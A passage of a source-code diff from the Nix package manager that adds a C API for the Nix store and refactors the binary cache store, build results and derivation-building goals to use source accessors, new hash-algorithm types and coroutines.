nix_store_path_free()! + * @param[out] context Optional, stores error information + * @param[in] store nix store reference + * @param[in] path Path string to parse, copied + * @return owned store path, NULL on error + */ +StorePath * nix_store_parse_path(nix_c_context * context, Store * store, const char * path); + +/** + * @brief Get the path name (e.g. "name" in /nix/store/...-name) + * + * @param[in] store_path the path to get the name from + * @param[in] callback called with the name + * @param[in] user_data arbitrary data, passed to the callback when it's called. + */ +void nix_store_path_name(const StorePath * store_path, nix_get_string_callback callback, void * user_data); + +/** + * @brief Copy a StorePath + * + * @param[in] p the path to copy + * @return a new StorePath + */ +StorePath * nix_store_path_clone(const StorePath * p); + +/** @brief Deallocate a StorePath + * + * Does not fail. + * @param[in] p the path to free + */ +void nix_store_path_free(StorePath * p); + +/** + * @brief Check if a StorePath is valid (i.e. that corresponding store object and its closure of references exists in + * the store) + * @param[out] context Optional, stores error information + * @param[in] store Nix Store reference + * @param[in] path Path to check + * @return true or false, error info in context + */ +bool nix_store_is_valid_path(nix_c_context * context, Store * store, StorePath * path); +// nix_err nix_store_ensure(Store*, const char*); +// nix_err nix_store_build_paths(Store*); +/** + * @brief Realise a Nix store path + * + * Blocking, calls callback once for each realised output. + * + * @note When working with expressions, consider using e.g. nix_string_realise to get the output. `.drvPath` may not be + * accurate or available in the future. See https://github.com/NixOS/nix/issues/6507 + * + * @param[out] context Optional, stores error information + * @param[in] store Nix Store reference + * @param[in] path Path to build + * @param[in] userdata data to pass to every callback invocation + * @param[in] callback called for every realised output + */ +nix_err nix_store_realise( + nix_c_context * context, + Store * store, + StorePath * path, + void * userdata, + void (*callback)(void * userdata, const char * outname, const char * out)); + +/** + * @brief get the version of a nix store. + * + * If the store doesn't have a version (like the dummy store), returns an empty string. + * + * @param[out] context Optional, stores error information + * @param[in] store nix store reference + * @param[in] callback Called with the version. + * @param[in] user_data optional, arbitrary data, passed to the callback when it's called. + * @see nix_get_string_callback + * @return error code, NIX_OK on success. + */ +nix_err +nix_store_get_version(nix_c_context * context, Store * store, nix_get_string_callback callback, void * user_data); + +// cffi end +#ifdef __cplusplus +} +#endif +/** + * @} + */ +#endif // NIX_API_STORE_H diff --git a/src/libstore-c/nix_api_store_internal.h b/src/libstore-c/nix_api_store_internal.h new file mode 100644 index 000000000..13db0c07c --- /dev/null +++ b/src/libstore-c/nix_api_store_internal.h @@ -0,0 +1,15 @@ +#ifndef NIX_API_STORE_INTERNAL_H +#define NIX_API_STORE_INTERNAL_H +#include "store-api.hh" + +struct Store +{ + nix::ref ptr; +}; + +struct StorePath +{ + nix::StorePath path; +}; + +#endif diff --git a/src/libstore-c/package.nix b/src/libstore-c/package.nix new file mode 100644 index 000000000..e4f372236 --- /dev/null +++ b/src/libstore-c/package.nix @@ -0,0 +1,75 @@ +{ lib +, stdenv +, mkMesonDerivation +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-util-c +, nix-store + +# Configuration Options + +, version +}: + +let + inherit (lib) fileset; +in + +mkMesonDerivation (finalAttrs: { + pname = "nix-store-c"; + inherit version; + + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + (fileset.fileFilter (file: file.hasExt "h") ./.) + ]; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + propagatedBuildInputs = [ + nix-util-c + nix-store + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. + '' + chmod u+w ./.version + echo ${version} > ../../.version + ''; + + mesonFlags = [ + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +}) diff --git a/src/libstore/.version b/src/libstore/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libstore/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/libstore/binary-cache-store.cc b/src/libstore/binary-cache-store.cc index 149d414d3..e8c8892b3 100644 --- a/src/libstore/binary-cache-store.cc +++ b/src/libstore/binary-cache-store.cc @@ -2,7 +2,7 @@ #include "binary-cache-store.hh" #include "compression.hh" #include "derivations.hh" -#include "fs-accessor.hh" +#include "source-accessor.hh" #include "globals.hh" #include "nar-info.hh" #include "sync.hh" @@ -11,11 +11,14 @@ #include "nar-accessor.hh" #include "thread-pool.hh" #include "callback.hh" +#include "signals.hh" +#include "archive.hh" #include #include #include #include +#include #include @@ -26,7 +29,8 @@ BinaryCacheStore::BinaryCacheStore(const Params & params) , Store(params) { if (secretKeyFile != "") - secretKey = std::unique_ptr(new SecretKey(readFile(secretKeyFile))); + signer = std::make_unique( + SecretKey { readFile(secretKeyFile) }); StringSink sink; sink << narVersionMagic1; @@ -121,14 +125,6 @@ void BinaryCacheStore::writeNarInfo(ref narInfo) diskCache->upsertNarInfo(getUri(), std::string(narInfo->path.hashPart()), std::shared_ptr(narInfo)); } -AutoCloseFD openFile(const Path & path) -{ - auto fd = open(path.c_str(), O_RDONLY | O_CLOEXEC); - if (!fd) - throw SysError("opening file '%1%'", path); - return fd; -} - ref BinaryCacheStore::addToStoreCommon( Source & narSource, RepairFlag repair, CheckSigsFlag checkSigs, std::function mkInfo) @@ -142,9 +138,9 @@ ref BinaryCacheStore::addToStoreCommon( /* Read the NAR simultaneously into a CompressionSink+FileSink (to write the compressed NAR to disk), into a HashSink (to get the NAR hash), and into a NarAccessor (to get the NAR listing). */ - HashSink fileHashSink { htSHA256 }; - std::shared_ptr narAccessor; - HashSink narHashSink { htSHA256 }; + HashSink fileHashSink { HashAlgorithm::SHA256 }; + std::shared_ptr narAccessor; + HashSink narHashSink { HashAlgorithm::SHA256 }; { FdSink fileSink(fdTemp.get()); TeeSink teeSinkCompressed { fileSink, fileHashSink }; @@ -164,8 +160,8 @@ ref BinaryCacheStore::addToStoreCommon( auto [fileHash, fileSize] = fileHashSink.finish(); narInfo->fileHash = fileHash; narInfo->fileSize = fileSize; - narInfo->url = "nar/" + narInfo->fileHash->to_string(Base32, false) + ".nar" - + (compression == "xz" ? ".xz" : + narInfo->url = "nar/" + narInfo->fileHash->to_string(HashFormat::Nix32, false) + ".nar" + + (compression == "xz" ? ".xz" : compression == "bzip2" ? ".bz2" : compression == "zstd" ? ".zst" : compression == "lzip" ? ".lzip" : @@ -195,7 +191,7 @@ ref BinaryCacheStore::addToStoreCommon( if (writeNARListing) { nlohmann::json j = { {"version", 1}, - {"root", listNar(ref(narAccessor), "", true)}, + {"root", listNar(ref(narAccessor), CanonPath::root, true)}, }; upsertFile(std::string(info.path.hashPart()) + ".ls", j.dump(), "application/json"); @@ -206,9 +202,9 @@ ref BinaryCacheStore::addToStoreCommon( specify the NAR file and member containing the debug info. */ if (writeDebugInfo) { - std::string buildIdDir = "/lib/debug/.build-id"; + CanonPath buildIdDir("lib/debug/.build-id"); - if (narAccessor->stat(buildIdDir).type == FSAccessor::tDirectory) { + if (auto st = narAccessor->maybeLstat(buildIdDir); st && st->type == SourceAccessor::tDirectory) { ThreadPool threadPool(25); @@ -231,17 +227,17 @@ ref BinaryCacheStore::addToStoreCommon( std::regex regex1("^[0-9a-f]{2}$"); std::regex regex2("^[0-9a-f]{38}\\.debug$"); - for (auto & s1 : narAccessor->readDirectory(buildIdDir)) { - auto dir = buildIdDir + "/" + s1; + for (auto & [s1, _type] : narAccessor->readDirectory(buildIdDir)) { + auto dir = buildIdDir / s1; - if (narAccessor->stat(dir).type != FSAccessor::tDirectory + if (narAccessor->lstat(dir).type != SourceAccessor::tDirectory || !std::regex_match(s1, regex1)) continue; - for (auto & s2 : narAccessor->readDirectory(dir)) { - auto debugPath = dir + "/" + s2; + for (auto & [s2, _type] : narAccessor->readDirectory(dir)) { + auto debugPath = dir / s2; - if (narAccessor->stat(debugPath).type != FSAccessor::tRegular + if (narAccessor->lstat(debugPath).type != SourceAccessor::tRegular || !std::regex_match(s2, regex2)) continue; @@ -250,7 +246,7 @@ ref BinaryCacheStore::addToStoreCommon( std::string key = "debuginfo/" + buildId; std::string target = "../" + narInfo->url; - threadPool.enqueue(std::bind(doFile, std::string(debugPath, 1), key, target)); + threadPool.enqueue(std::bind(doFile, std::string(debugPath.rel()), key, target)); } } @@ -272,7 +268,7 @@ ref BinaryCacheStore::addToStoreCommon( stats.narWriteCompressionTimeMs += duration; /* Atomically write the NAR info file.*/ - if (secretKey) narInfo->sign(*this, *secretKey); + if (signer) narInfo->sign(*this, *signer); writeNarInfo(narInfo); @@ -299,18 +295,75 @@ void BinaryCacheStore::addToStore(const ValidPathInfo & info, Source & narSource }}); } -StorePath BinaryCacheStore::addToStoreFromDump(Source & dump, std::string_view name, - FileIngestionMethod method, HashType hashAlgo, RepairFlag repair, const StorePathSet & references) +StorePath BinaryCacheStore::addToStoreFromDump( + Source & dump, + std::string_view name, + FileSerialisationMethod dumpMethod, + ContentAddressMethod hashMethod, + HashAlgorithm hashAlgo, + const StorePathSet & references, + RepairFlag repair) { - if (method != FileIngestionMethod::Recursive || hashAlgo != htSHA256) + std::optional caHash; + std::string nar; + + // Calculating Git hash from NAR stream not yet implemented. May not + // be possible to implement in single-pass if the NAR is in an + // inconvenient order. Could fetch after uploading, however. + if (hashMethod.getFileIngestionMethod() == FileIngestionMethod::Git) unsupported("addToStoreFromDump"); - return addToStoreCommon(dump, repair, CheckSigs, [&](HashResult nar) { + + if (auto * dump2p = dynamic_cast(&dump)) { + auto & dump2 = *dump2p; + // Hack, this gives us a "replayable" source so we can compute + // multiple hashes more easily. + // + // Only calculate if the dump is in the right format, however. + if (static_cast(dumpMethod) == hashMethod.getFileIngestionMethod()) + caHash = hashString(HashAlgorithm::SHA256, dump2.s); + switch (dumpMethod) { + case FileSerialisationMethod::NixArchive: + // The dump is already NAR in this case, just use it. + nar = dump2.s; + break; + case FileSerialisationMethod::Flat: + { + // The dump is Flat, so we need to convert it to NAR with a + // single file. + StringSink s; + dumpString(dump2.s, s); + nar = std::move(s.s); + break; + } + } + } else { + // Otherwise, we have to do th same hashing as NAR so our single + // hash will suffice for both purposes. + if (dumpMethod != FileSerialisationMethod::NixArchive || hashAlgo != HashAlgorithm::SHA256) + unsupported("addToStoreFromDump"); + } + StringSource narDump { nar }; + + // Use `narDump` if we wrote to `nar`. + Source & narDump2 = nar.size() > 0 + ? static_cast(narDump) + : dump; + + return addToStoreCommon(narDump2, repair, CheckSigs, [&](HashResult nar) { ValidPathInfo info { - makeFixedOutputPath(method, nar.first, name, references), + *this, + name, + ContentAddressWithReferences::fromParts( + hashMethod, + caHash ? *caHash : nar.first, + { + .others = references, + // caller is not capable of creating a self-reference, because this is content-addressed without modulus + .self = false, + }), nar.first, }; info.narSize = nar.second; - info.references = references; return info; })->path; } @@ -370,7 +423,7 @@ void BinaryCacheStore::queryPathInfoUncached(const StorePath & storePath, auto callbackPtr = std::make_shared(std::move(callback)); getFile(narInfoFile, - {[=](std::future> fut) { + {[=,this](std::future> fut) { try { auto data = fut.get(); @@ -390,63 +443,37 @@ void BinaryCacheStore::queryPathInfoUncached(const StorePath & storePath, StorePath BinaryCacheStore::addToStore( std::string_view name, - const Path & srcPath, - FileIngestionMethod method, - HashType hashAlgo, + const SourcePath & path, + ContentAddressMethod method, + HashAlgorithm hashAlgo, + const StorePathSet & references, PathFilter & filter, - RepairFlag repair, - const StorePathSet & references) + RepairFlag repair) { /* FIXME: Make BinaryCacheStore::addToStoreCommon support non-recursive+sha256 so we can just use the default implementation of this method in terms of addToStoreFromDump. */ - HashSink sink { hashAlgo }; - if (method == FileIngestionMethod::Recursive) { - dumpPath(srcPath, sink, filter); - } else { - readFile(srcPath, sink); - } - auto h = sink.finish().first; + auto h = hashPath(path, method.getFileIngestionMethod(), hashAlgo, filter).first; auto source = sinkToSource([&](Sink & sink) { - dumpPath(srcPath, sink, filter); + path.dumpPath(sink, filter); }); return addToStoreCommon(*source, repair, CheckSigs, [&](HashResult nar) { ValidPathInfo info { - makeFixedOutputPath(method, h, name, references), + *this, + name, + ContentAddressWithReferences::fromParts( + method, + h, + { + .others = references, + // caller is not capable of creating a self-reference, because this is content-addressed without modulus + .self = false, + }), nar.first, }; info.narSize = nar.second; - info.references = references; - info.ca = FixedOutputHash { - .method = method, - .hash = h, - }; - return info; - })->path; -} - -StorePath BinaryCacheStore::addTextToStore( - std::string_view name, - std::string_view s, - const StorePathSet & references, - RepairFlag repair) -{ - auto textHash = hashString(htSHA256, s); - auto path = makeTextPath(name, textHash, references); - - if (!repair && isValidPath(path)) - return path; - - StringSink sink; - dumpString(s, sink); - StringSource source(sink.s); - return addToStoreCommon(source, repair, CheckSigs, [&](HashResult nar) { - ValidPathInfo info { path, nar.first }; - info.narSize = nar.second; - info.ca = TextHash { textHash }; - info.references = references; return info; })->path; } @@ -483,9 +510,9 @@ void BinaryCacheStore::registerDrvOutput(const Realisation& info) { upsertFile(filePath, info.toJSON().dump(), "application/json"); } -ref BinaryCacheStore::getFSAccessor() +ref BinaryCacheStore::getFSAccessor(bool requireValidPath) { - return make_ref(ref(shared_from_this()), localNarCache); + return make_ref(ref(shared_from_this()), requireValidPath, localNarCache); } void BinaryCacheStore::addSignatures(const StorePath & storePath, const StringSet & sigs) @@ -502,22 +529,9 @@ void BinaryCacheStore::addSignatures(const StorePath & storePath, const StringSe writeNarInfo(narInfo); } -std::optional BinaryCacheStore::getBuildLog(const StorePath & path) +std::optional BinaryCacheStore::getBuildLogExact(const StorePath & path) { - auto drvPath = path; - - if (!path.isDerivation()) { - try { - auto info = queryPathInfo(path); - // FIXME: add a "Log" field to .narinfo - if (!info->deriver) return std::nullopt; - drvPath = *info->deriver; - } catch (InvalidPath &) { - return std::nullopt; - } - } - - auto logPath = "log/" + std::string(baseNameOf(printStorePath(drvPath))); + auto logPath = "log/" + std::string(baseNameOf(printStorePath(path))); debug("fetching build log from binary cache '%s/%s'", getUri(), logPath); diff --git a/src/libstore/binary-cache-store.hh b/src/libstore/binary-cache-store.hh index 8c82e2387..695bc9252 100644 --- a/src/libstore/binary-cache-store.hh +++ b/src/libstore/binary-cache-store.hh @@ -1,6 +1,7 @@ #pragma once +///@file -#include "crypto.hh" +#include "signature/local-keys.hh" #include "store-api.hh" #include "log-store.hh" @@ -16,27 +17,47 @@ struct BinaryCacheStoreConfig : virtual StoreConfig { using StoreConfig::StoreConfig; - const Setting compression{(StoreConfig*) this, "xz", "compression", "NAR compression method ('xz', 'bzip2', 'gzip', 'zstd', or 'none')"}; - const Setting writeNARListing{(StoreConfig*) this, false, "write-nar-listing", "whether to write a JSON file listing the files in each NAR"}; - const Setting writeDebugInfo{(StoreConfig*) this, false, "index-debug-info", "whether to index DWARF debug info files by build ID"}; - const Setting secretKeyFile{(StoreConfig*) this, "", "secret-key", "path to secret key used to sign the binary cache"}; - const Setting localNarCache{(StoreConfig*) this, "", "local-nar-cache", "path to a local cache of NARs"}; - const Setting parallelCompression{(StoreConfig*) this, false, "parallel-compression", - "enable multi-threading compression for NARs, available for xz and zstd only currently"}; - const Setting compressionLevel{(StoreConfig*) this, -1, "compression-level", - "specify 'preset level' of compression to be used with NARs: " - "meaning and accepted range of values depends on compression method selected, " - "other than -1 which we reserve to indicate Nix defaults should be used"}; + const Setting compression{this, "xz", "compression", + "NAR compression method (`xz`, `bzip2`, `gzip`, `zstd`, or `none`)."}; + + const Setting writeNARListing{this, false, "write-nar-listing", + "Whether to write a JSON file that lists the files in each NAR."}; + + const Setting writeDebugInfo{this, false, "index-debug-info", + R"( + Whether to index DWARF debug info files by build ID. This allows [`dwarffs`](https://github.com/edolstra/dwarffs) to + fetch debug info on demand + )"}; + + const Setting secretKeyFile{this, "", "secret-key", + "Path to the secret key used to sign the binary cache."}; + + const Setting localNarCache{this, "", "local-nar-cache", + "Path to a local cache of NARs fetched from this binary cache, used by commands such as `nix store cat`."}; + + const Setting parallelCompression{this, false, "parallel-compression", + "Enable multi-threaded compression of NARs. This is currently only available for `xz` and `zstd`."}; + + const Setting compressionLevel{this, -1, "compression-level", + R"( + The *preset level* to be used when compressing NARs. + The meaning and accepted values depend on the compression method selected. + `-1` specifies that the default compression level should be used. + )"}; }; + +/** + * @note subclasses must implement at least one of the two + * virtual getFile() methods. + */ class BinaryCacheStore : public virtual BinaryCacheStoreConfig, public virtual Store, public virtual LogStore { private: - - std::unique_ptr secretKey; + std::unique_ptr signer; protected: @@ -58,14 +79,15 @@ public: std::string && data, const std::string & mimeType); - /* Note: subclasses must implement at least one of the two - following getFile() methods. */ - - /* Dump the contents of the specified file to a sink. */ + /** + * Dump the contents of the specified file to a sink. + */ virtual void getFile(const std::string & path, Sink & sink); - /* Fetch the specified file and call the specified callback with - the result. A subclass may implement this asynchronously. */ + /** + * Fetch the specified file and call the specified callback with + * the result. A subclass may implement this asynchronously. + */ virtual void getFile( const std::string & path, Callback> callback) noexcept; @@ -100,22 +122,22 @@ public: void addToStore(const ValidPathInfo & info, Source & narSource, RepairFlag repair, CheckSigsFlag checkSigs) override; - StorePath addToStoreFromDump(Source & dump, std::string_view name, - FileIngestionMethod method, HashType hashAlgo, RepairFlag repair, const StorePathSet & references) override; + StorePath addToStoreFromDump( + Source & dump, + std::string_view name, + FileSerialisationMethod dumpMethod, + ContentAddressMethod hashMethod, + HashAlgorithm hashAlgo, + const StorePathSet & references, + RepairFlag repair) override; StorePath addToStore( std::string_view name, - const Path & srcPath, - FileIngestionMethod method, - HashType hashAlgo, - PathFilter & filter, - RepairFlag repair, - const StorePathSet & references) override; - - StorePath addTextToStore( - std::string_view name, - std::string_view s, + const SourcePath & path, + ContentAddressMethod method, + HashAlgorithm hashAlgo, const StorePathSet & references, + PathFilter & filter, RepairFlag repair) override; void registerDrvOutput(const Realisation & info) override; @@ -125,11 +147,11 @@ public: void narFromPath(const StorePath & path, Sink & sink) override; - ref getFSAccessor() override; + ref getFSAccessor(bool requireValidPath = true) override; void addSignatures(const StorePath & storePath, const StringSet & sigs) override; - std::optional getBuildLog(const StorePath & path) override; + std::optional getBuildLogExact(const StorePath & path) override; void addBuildLog(const StorePath & drvPath, std::string_view log) override; diff --git a/src/libstore/build-result.cc b/src/libstore/build-result.cc new file mode 100644 index 000000000..96cbfd62f --- /dev/null +++ b/src/libstore/build-result.cc @@ -0,0 +1,8 @@ +#include "build-result.hh" + +namespace nix { + +bool BuildResult::operator==(const BuildResult &) const noexcept = default; +std::strong_ordering BuildResult::operator<=>(const BuildResult &) const noexcept = default; + +} diff --git a/src/libstore/build-result.hh b/src/libstore/build-result.hh index a5749cf33..8c66cfeb3 100644 --- a/src/libstore/build-result.hh +++ b/src/libstore/build-result.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include "realisation.hh" #include "derived-path.hh" @@ -11,9 +12,12 @@ namespace nix { struct BuildResult { - /* Note: don't remove status codes, and only add new status codes - at the end of the list, to prevent client/server - incompatibilities in the nix-store --serve protocol. */ + /** + * @note This is directly used in the nix-store --serve protocol. + * That means we need to worry about compatability across versions. + * Therefore, don't remove status codes, and only add new status + * codes at the end of the list. + */ enum Status { Built = 0, Substituted, @@ -21,8 +25,10 @@ struct BuildResult PermanentFailure, InputRejected, OutputRejected, - TransientFailure, // possibly transient - CachedFailure, // no longer used + /// possibly transient + TransientFailure, + /// no longer used + CachedFailure, TimedOut, MiscFailure, DependencyFailed, @@ -32,7 +38,12 @@ struct BuildResult NoSubstituters, } status = MiscFailure; - // FIXME: include entire ErrorInfo object. + /** + * Information about the error if the build failed. + * + * @todo This should be an entire ErrorInfo object, not just a + * string, for richer information. + */ std::string errorMsg; std::string toString() const { @@ -52,35 +63,46 @@ struct BuildResult case LogLimitExceeded: return "LogLimitExceeded"; case NotDeterministic: return "NotDeterministic"; case ResolvesToAlreadyValid: return "ResolvesToAlreadyValid"; + case NoSubstituters: return "NoSubstituters"; default: return "Unknown"; }; }(); return strStatus + ((errorMsg == "") ? "" : " : " + errorMsg); } - /* How many times this build was performed. */ + /** + * How many times this build was performed. + */ unsigned int timesBuilt = 0; - /* If timesBuilt > 1, whether some builds did not produce the same - result. (Note that 'isNonDeterministic = false' does not mean - the build is deterministic, just that we don't have evidence of - non-determinism.) */ + /** + * If timesBuilt > 1, whether some builds did not produce the same + * result. (Note that 'isNonDeterministic = false' does not mean + * the build is deterministic, just that we don't have evidence of + * non-determinism.) + */ bool isNonDeterministic = false; - /* The derivation we built or the store path we substituted. */ - DerivedPath path; + /** + * For derivations, a mapping from the names of the wanted outputs + * to actual paths. + */ + SingleDrvOutputs builtOutputs; - /* For derivations, a mapping from the names of the wanted outputs - to actual paths. */ - DrvOutputs builtOutputs; - - /* The start/stop times of the build (or one of the rounds, if it - was repeated). */ + /** + * The start/stop times of the build (or one of the rounds, if it + * was repeated). + */ time_t startTime = 0, stopTime = 0; - /* User and system CPU time the build took. */ + /** + * User and system CPU time the build took. + */ std::optional cpuUser, cpuSystem; + bool operator ==(const BuildResult &) const noexcept; + std::strong_ordering operator <=>(const BuildResult &) const noexcept; + bool success() { return status == Built || status == Substituted || status == AlreadyValid || status == ResolvesToAlreadyValid; @@ -92,4 +114,20 @@ struct BuildResult } }; +/** + * A `BuildResult` together with its "primary key". + */ +struct KeyedBuildResult : BuildResult +{ + /** + * The derivation we built or the store path we substituted. + */ + DerivedPath path; + + // Hack to work around a gcc "may be used uninitialized" warning. + KeyedBuildResult(BuildResult res, DerivedPath path) + : BuildResult(std::move(res)), path(std::move(path)) + { } +}; + } diff --git a/src/libstore/build-utils-meson b/src/libstore/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libstore/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libstore/build/derivation-goal.cc b/src/libstore/build/derivation-goal.cc index d3b995a4f..b809e3ffe 100644 --- a/src/libstore/build/derivation-goal.cc +++ b/src/libstore/build/derivation-goal.cc @@ -1,5 +1,9 @@ #include "derivation-goal.hh" -#include "hook-instance.hh" +#ifndef _WIN32 // TODO enable build hook on Windows +# include "hook-instance.hh" +#endif +#include "processes.hh" +#include "config-global.hh" #include "worker.hh" #include "builtins.hh" #include "builtins/buildenv.hh" @@ -8,7 +12,8 @@ #include "util.hh" #include "archive.hh" #include "compression.hh" -#include "worker-protocol.hh" +#include "common-protocol.hh" +#include "common-protocol-impl.hh" #include "topo-sort.hh" #include "callback.hh" #include "local-store.hh" // TODO remove, along with remaining downcasts @@ -18,63 +23,38 @@ #include #include -#include -#include -#include -#include #include -#include #include -#include -#include -#include -#if HAVE_STATVFS -#include +#ifndef _WIN32 // TODO abstract over proc exit status +# include #endif -/* Includes required for chroot support. */ -#if __linux__ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#if HAVE_SECCOMP -#include -#endif -#define pivot_root(new_root, put_old) (syscall(SYS_pivot_root, new_root, put_old)) -#endif - -#if __APPLE__ -#include -#include -#endif - -#include -#include - #include +#include "strings.hh" + namespace nix { +Goal::Co DerivationGoal::init() { + if (useDerivation) { + co_return getDerivation(); + } else { + co_return haveDerivation(); + } +} + DerivationGoal::DerivationGoal(const StorePath & drvPath, - const StringSet & wantedOutputs, Worker & worker, BuildMode buildMode) - : Goal(worker, DerivedPath::Built { .drvPath = drvPath, .outputs = wantedOutputs }) + const OutputsSpec & wantedOutputs, Worker & worker, BuildMode buildMode) + : Goal(worker, DerivedPath::Built { .drvPath = makeConstantStorePathRef(drvPath), .outputs = wantedOutputs }) , useDerivation(true) , drvPath(drvPath) , wantedOutputs(wantedOutputs) , buildMode(buildMode) { - state = &DerivationGoal::getDerivation; name = fmt( "building of '%s' from .drv file", - DerivedPath::Built { drvPath, wantedOutputs }.to_string(worker.store)); + DerivedPath::Built { makeConstantStorePathRef(drvPath), wantedOutputs }.to_string(worker.store)); trace("created"); mcExpectedBuilds = std::make_unique>(worker.expectedBuilds); @@ -83,8 +63,8 @@ DerivationGoal::DerivationGoal(const StorePath & drvPath, DerivationGoal::DerivationGoal(const StorePath & drvPath, const BasicDerivation & drv, - const StringSet & wantedOutputs, Worker & worker, BuildMode buildMode) - : Goal(worker, DerivedPath::Built { .drvPath = drvPath, .outputs = wantedOutputs }) + const OutputsSpec & wantedOutputs, Worker & worker, BuildMode buildMode) + : Goal(worker, DerivedPath::Built { .drvPath = makeConstantStorePathRef(drvPath), .outputs = wantedOutputs }) , useDerivation(false) , drvPath(drvPath) , wantedOutputs(wantedOutputs) @@ -92,10 +72,9 @@ DerivationGoal::DerivationGoal(const StorePath & drvPath, const BasicDerivation { this->drv = std::make_unique(drv); - state = &DerivationGoal::haveDerivation; name = fmt( "building of '%s' from in-memory derivation", - DerivedPath::Built { drvPath, drv.outputNames() }.to_string(worker.store)); + DerivedPath::Built { makeConstantStorePathRef(drvPath), drv.outputNames() }.to_string(worker.store)); trace("created"); mcExpectedBuilds = std::make_unique>(worker.expectedBuilds); @@ -127,38 +106,42 @@ std::string DerivationGoal::key() void DerivationGoal::killChild() { +#ifndef _WIN32 // TODO enable build hook on Windows hook.reset(); +#endif } void DerivationGoal::timedOut(Error && ex) { killChild(); - done(BuildResult::TimedOut, {}, std::move(ex)); + // We're not inside a coroutine, hence we can't use co_return here. + // Thus we ignore the return value. + [[maybe_unused]] Done _ = done(BuildResult::TimedOut, {}, std::move(ex)); } - -void DerivationGoal::work() +void DerivationGoal::addWantedOutputs(const OutputsSpec & outputs) { - (this->*state)(); -} - -void DerivationGoal::addWantedOutputs(const StringSet & outputs) -{ - /* If we already want all outputs, there is nothing to do. */ - if (wantedOutputs.empty()) return; - - if (outputs.empty()) { - wantedOutputs.clear(); - needRestart = true; - } else - for (auto & i : outputs) - if (wantedOutputs.insert(i).second) - needRestart = true; + auto newWanted = wantedOutputs.union_(outputs); + switch (needRestart) { + case NeedRestartForMoreOutputs::OutputsUnmodifedDontNeed: + if (!newWanted.isSubsetOf(wantedOutputs)) + needRestart = NeedRestartForMoreOutputs::OutputsAddedDoNeed; + break; + case NeedRestartForMoreOutputs::OutputsAddedDoNeed: + /* No need to check whether we added more outputs, because a + restart is already queued up. */ + break; + case NeedRestartForMoreOutputs::BuildInProgressWillNotNeed: + /* We are already building all outputs, so it doesn't matter if + we now want more. */ + break; + }; + wantedOutputs = newWanted; } -void DerivationGoal::getDerivation() +Goal::Co DerivationGoal::getDerivation() { trace("init"); @@ -166,23 +149,22 @@ void DerivationGoal::getDerivation() exists. If it doesn't, it may be created through a substitute. */ if (buildMode == bmNormal && worker.evalStore.isValidPath(drvPath)) { - loadDerivation(); - return; + co_return loadDerivation(); } addWaitee(upcast_goal(worker.makePathSubstitutionGoal(drvPath))); - state = &DerivationGoal::loadDerivation; + co_await Suspend{}; + co_return loadDerivation(); } -void DerivationGoal::loadDerivation() +Goal::Co DerivationGoal::loadDerivation() { trace("loading derivation"); if (nrFailed != 0) { - done(BuildResult::MiscFailure, {}, Error("cannot build missing derivation '%s'", worker.store.printStorePath(drvPath))); - return; + co_return done(BuildResult::MiscFailure, {}, Error("cannot build missing derivation '%s'", worker.store.printStorePath(drvPath))); } /* `drvPath' should already be a root, but let's be on the safe @@ -190,26 +172,35 @@ void DerivationGoal::loadDerivation() things being garbage collected while we're busy. */ worker.evalStore.addTempRoot(drvPath); - assert(worker.evalStore.isValidPath(drvPath)); + /* Get the derivation. It is probably in the eval store, but it might be inthe main store: - /* Get the derivation. */ - drv = std::make_unique(worker.evalStore.readDerivation(drvPath)); + - Resolved derivation are resolved against main store realisations, and so must be stored there. - haveDerivation(); + - Dynamic derivations are built, and so are found in the main store. + */ + for (auto * drvStore : { &worker.evalStore, &worker.store }) { + if (drvStore->isValidPath(drvPath)) { + drv = std::make_unique(drvStore->readDerivation(drvPath)); + break; + } + } + assert(drv); + + co_return haveDerivation(); } -void DerivationGoal::haveDerivation() +Goal::Co DerivationGoal::haveDerivation() { trace("have derivation"); parsedDrv = std::make_unique(drvPath, *drv); if (!drv->type().hasKnownOutputPaths()) - settings.requireExperimentalFeature(Xp::CaDerivations); + experimentalFeatureSettings.require(Xp::CaDerivations); - if (!drv->type().isPure()) { - settings.requireExperimentalFeature(Xp::ImpureDerivations); + if (drv->type().isImpure()) { + experimentalFeatureSettings.require(Xp::ImpureDerivations); for (auto & [outputName, output] : drv->outputs) { auto randomPath = StorePath::random(outputPathName(drv->name, outputName)); @@ -227,8 +218,7 @@ void DerivationGoal::haveDerivation() }); } - gaveUpOnSubstitution(); - return; + co_return gaveUpOnSubstitution(); } for (auto & i : drv->outputsAndOptPaths(worker.store)) @@ -250,8 +240,7 @@ void DerivationGoal::haveDerivation() /* If they are all valid, then we're done. */ if (allValid && buildMode == bmNormal) { - done(BuildResult::AlreadyValid, std::move(validOutputs)); - return; + co_return done(BuildResult::AlreadyValid, std::move(validOutputs)); } /* We are first going to try to create the invalid output paths @@ -269,31 +258,30 @@ void DerivationGoal::haveDerivation() ) ) ); - else + else { + auto * cap = getDerivationCA(*drv); addWaitee(upcast_goal(worker.makePathSubstitutionGoal( status.known->path, buildMode == bmRepair ? Repair : NoRepair, - getDerivationCA(*drv)))); + cap ? std::optional { *cap } : std::nullopt))); + } } - if (waitees.empty()) /* to prevent hang (no wake-up event) */ - outputsSubstitutionTried(); - else - state = &DerivationGoal::outputsSubstitutionTried; + if (!waitees.empty()) co_await Suspend{}; /* to prevent hang (no wake-up event) */ + co_return outputsSubstitutionTried(); } -void DerivationGoal::outputsSubstitutionTried() +Goal::Co 